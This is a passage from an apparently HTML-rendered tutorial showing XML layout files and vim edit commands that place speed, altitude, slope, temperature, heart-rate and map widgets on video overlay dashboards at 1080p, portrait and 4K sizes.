        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;datetime&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;format=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%H:%M:%S&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;32&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;left&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="cm"&gt;&amp;lt;!-- &amp;lt;component type=&amp;quot;text&amp;quot; x=&amp;quot;0&amp;quot; y=&amp;quot;36&amp;quot; size=&amp;quot;32&amp;quot;&amp;gt;Distance (km): &amp;lt;/component&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;        &amp;lt;component type=&amp;quot;metric&amp;quot; x=&amp;quot;215&amp;quot; y=&amp;quot;36&amp;quot; metric=&amp;quot;odo&amp;quot; units=&amp;quot;km&amp;quot; size=&amp;quot;32&amp;quot; dp=&amp;quot;2&amp;quot; /&amp;gt; --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;976&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;big_kph&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="cm"&gt;&amp;lt;!-- 1080 - 20 (margin) - 64 (altitude) - 20 (margin) = y 976 --&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-160&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;160&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric_unit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-176&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;16&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;km/h&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1060&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;altitude&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mountain.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric_unit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;16&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Altitude ({:~C})&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-46&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;alt&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;46&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;270&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1060&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gradient&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;slope-triangle.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;16&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Slope (%)&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-46&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gradient&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;46&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;chart&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gradient_chart&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;450&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;996&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1900&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;980&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;temperature&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;thermometer.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;temp&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;temp&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1900&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1060&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hr&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;moving_map&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;moving_map&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1644&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;256&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;zoom=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;16&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;corner_radius=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;35&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;journey_map&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;journey_map&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1644&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;296&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;256&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;corner_radius=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;35&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/layout&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim ~/Documents/my-layout-portrait-1080x1920.xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;layout&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1060&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1816&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;big_kph&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="cm"&gt;&amp;lt;!-- 1920 - 20 (margin) - 64 (altitude) - 20 (margin) = y 1816 --&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-160&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;160&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric_unit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-192&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;32&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;km/h&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1060&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1900&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;icon&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;file=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;heartbeat.png&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-70&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hr&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;64&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/layout&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim ~/Documents/my-layout-4k-3840x2160-ski.xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;layout&amp;gt;&lt;/span&gt;
    &lt;span class="cm"&gt;&amp;lt;!-- LAYOUT SIZE = 3840x2160 --&amp;gt;&lt;/span&gt;
    &lt;span class="cm"&gt;&amp;lt;!-- &amp;lt;composite x=&amp;quot;40&amp;quot; y=&amp;quot;40&amp;quot; name=&amp;quot;date_and_time&amp;quot;&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;        &amp;lt;component type=&amp;quot;datetime&amp;quot; x=&amp;quot;0&amp;quot; y=&amp;quot;0&amp;quot; format=&amp;quot;%H:%M:%S&amp;quot; size=&amp;quot;64&amp;quot; align=&amp;quot;left&amp;quot;/&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;    &amp;lt;/composite&amp;gt; --&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;40&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1952&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;big_kph&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="cm"&gt;&amp;lt;!-- 2160 - 40 (margin) - 128 (altitude) - 40 (margin) = y 1952 --&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric_unit&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-352&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;32&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;km/h&lt;span class="nt"&gt;&amp;lt;/component&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;component&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;metric&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;outline_width=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-320&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;metric=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;units=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;speed&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;dp=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;size=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;320&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/composite&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;40&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2120&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;altitude&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="cm"&gt;&amp;lt;!-- 2160 - 40 (margin) = y 2120 --&amp;gt;&lt;/span&gt;
